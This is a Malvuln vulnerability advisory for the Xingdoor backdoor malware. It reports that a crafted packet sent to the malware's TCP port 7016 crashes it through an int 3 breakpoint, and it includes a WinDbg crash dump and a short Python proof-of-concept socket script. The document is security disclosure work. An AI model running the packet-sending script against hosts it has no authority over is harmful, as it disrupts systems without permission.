Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/89000e259ffbd107b7cc9bac66dcdcf5.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Xingdoor Vulnerability: Denial of Service Description: The malware "System_XingCheng" listens on TCP port 7016. Attackers who can send a specially crafted packet, can trigger an int 3 "\xcc" breakpoint debug error causing a disruption in service. The error is a MS Visual C++ Debug Error, occurs when the value of ESP is not properly saved across a function call. Family: Xingdoor Type: PE32 MD5: 89000e259ffbd107b7cc9bac66dcdcf5 Vuln ID: MVID-2022-0542 Disclosure: 04/06/2022 Memory Dump: This dump file has a breakpoint exception stored in it. The stored exception information can be accessed via .ecxr. eax=00000000 ebx=00000000 ecx=b30fec4c edx=00000001 esi=00000003 edi=00000003 eip=76feed3c esp=0019f53c ebp=0019f6cc iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 76feed3c c21400 ret 14h 0:000> .ecxr eax=00000001 ebx=00384000 ecx=b30fec4c edx=00000001 esi=004027f0 edi=0019fef0 eip=004027de esp=0019fe64 ebp=0019fe78 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 *** WARNING: Unable to verify checksum for Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x27de: 004027de cc int 3 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de 004027de cc int 3 EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 004027de (Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x000027de) ExceptionCode: 80000003 (Break instruction exception) ExceptionFlags: 00000000 NumberParameters: 1 Parameter[0]: 00000000 DEFAULT_BUCKET_ID: STATUS_BREAKPOINT PROCESS_NAME: Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe ERROR_CODE: (NTSTATUS) 0x80000003 - {EXCEPTION} Breakpoint A breakpoint has been reached. EXCEPTION_CODE: (HRESULT) 0x80000003 (2147483651) - One or more arguments are invalid EXCEPTION_PARAMETER1: 00000000 MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00001928 PRIMARY_PROBLEM_CLASS: STATUS_BREAKPOINT BUGCHECK_STR: APPLICATION_FAULT_STATUS_BREAKPOINT LAST_CONTROL_TRANSFER: from 00401596 to 004027de STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0019fe78 00401596 0019fe25 0040112f 004027f0 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x27de 0019fe80 0040112f 004027f0 004027f0 00384000 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x1596 0019fef0 00402903 00400000 00000000 02783767 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x112f 0019ff80 76698654 00384000 76698630 fa8d215c Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x2903 0019ff94 76fe4a77 00384000 b30fa868 00000000 kernel32!BaseThreadInitThunk+0x24 0019ffdc 76fe4a47 ffffffff 77009ea7 00000000 ntdll!__RtlUserThreadStart+0x2f 0019ffec 00000000 004027f0 00384000 00000000 ntdll!_RtlUserThreadStart+0x1b FOLLOWUP_IP: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de 004027de cc int 3 SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5 IMAGE_NAME: Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe DEBUG_FLR_IMAGE_TIMESTAMP: 3f169e33 STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb FAILURE_BUCKET_ID: STATUS_BREAKPOINT_80000003_Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STATUS_BREAKPOINT_Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=7016 def chk_res(s): res="" while True: res += s.recv(512) break if "\0" in res or "\n" in res or res == "": break return res def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) print(chk_res(s)) time.sleep(1) s.send("a") print(chk_res(s)) s.send("\r\n"+"A"*88+"\r\n") time.sleep(1) print(chk_res(s)) time.sleep(1) s.send("A"*88+"\n") print(chk_res(s)) s.close() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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